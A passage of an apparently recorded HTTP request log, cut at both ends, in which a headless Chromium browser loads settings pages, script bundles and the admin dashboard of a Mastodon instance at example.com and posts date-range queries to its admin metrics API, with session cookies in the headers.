_mastodon_session=IKoIk%2F2Zt%2BbQwuwPHCreKoer6wq%2FPUalC1%2BGdCluh3C0XloQeQ9fq2D3CzSgKBrk7e9PehwLJ0Tll2V7X18sKvFv0eBuhuPIhjPfsF4FNDGoz%2Fz7PkpLVIe7NH8OPLkE51kr35%2F0fYSoPfVz6UQYZvTssbZaZMRx179YzX6ZdCHv5P7vIAmUk1D8mBRlMe50nHHyFi%2FFvLpXaptNqPx7tUIvZ9M5R4FzBLxuJu%2FJqRsbIjLRhyS9N495tQfAt5%2Fld9uOy%2FXDuK9o0XPM4buMQg15QSFKz0QcY1rfQHzywT0rS55Adhgi8AvbzdpHXvcaxGI3vsDS66CeZhbgJPbsC07lhfil7mrqiOldVubC3nE0I40B%2BOgAK67GIPUB10vPv%2FxELzDPPO5A--%2BVh5QejLBVzuglr1--A1Rlzkk77pKJhyvMEvH3SA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/relationships", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/verification", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/axios-BtspdZ3f.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/verification", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/locales-BkCPern1.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzMuNDI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--39e97d04693913db5d01a248369ed6fc39f866fc; _mastodon_session=PtF3%2B2SbEwiSB3Ee%2Fd1y6tjFDnycVAcyZUjaJ22F3cGW8I6D6cTlSmaQEn41AtLwlsURxTDzPyMhLyrY3m8J%2BYFeXvDrxsVlXryHn%2F9NQaiR3jqVANCdTklQXe7JOWTQCHS23ovvvjzgwPtWI%2FFM5kw4nT8mCNyqMTp49RJJB%2FHMvN%2BurqXfCeUcxVUVc8GFtTA5NbjMdKFAGMM2frSFB9khDTiBYDq%2F9g8NhLXlFoDKnxynuQ0tuTMc7Tc5K7%2Ft50sAs%2BpwYdrFXafCbrRjdSFuO9Zs2JxOD713k8IKDu7uD5MWMbSLN3Vdagjg04wxxR0uWdQXbtVXueqFBd1rzHoMgHcKA%2FsoF7r3fRVnt4c3CdTZivhv1u8kXjDF8UTKejBplnkLZ5xJ--8FE407Sve3lI2buy--ulWeDSj72%2FG%2BoZmZTPkVBw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/ready-B3bZnx13.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=UJlraWd3K9cO0MFqwrqGtakBWsIEq95ctCmMPOwQC%2F0hqxmuOw%2BYSMzVIOyT69T8PseGocltvcNC0m3Zxst6Gu3m%2Bhp1QwmBaxLEQBzR%2BeXzeXvtJ25KOLnM%2F8H0tT2b6X%2FDxCpLBWGGEIk5U8rDvoCmu0GFUx1S1o2Us%2FCnnlt7Co10e1a3W7g7ge9XTk9UVFmk4LlkMyByCnJytcQVHXE2ZuHjEheCbIPCMWLgwZPqUu3dLB3XFccIBHr2Qf%2BOnHQ564yr6UXn%2BOLgsNFpirU0gCLbUY8RyA%3D%3D--%2BC58uBQAFyYj4VH4--62QYBwUYVMsL4NHmq%2FBDWw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/tab_list-e25X12WM.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/icon_button-DfNtv8BJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/compose_form_container-BsuzTwz6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/roboto-regular-webfont-DjumA6RA.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/admin/retention", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 67", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"start_at\":\"2026-05-10\",\"end_at\":\"2026-11-10\",\"frequency\":\"month\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 68", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"new_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; 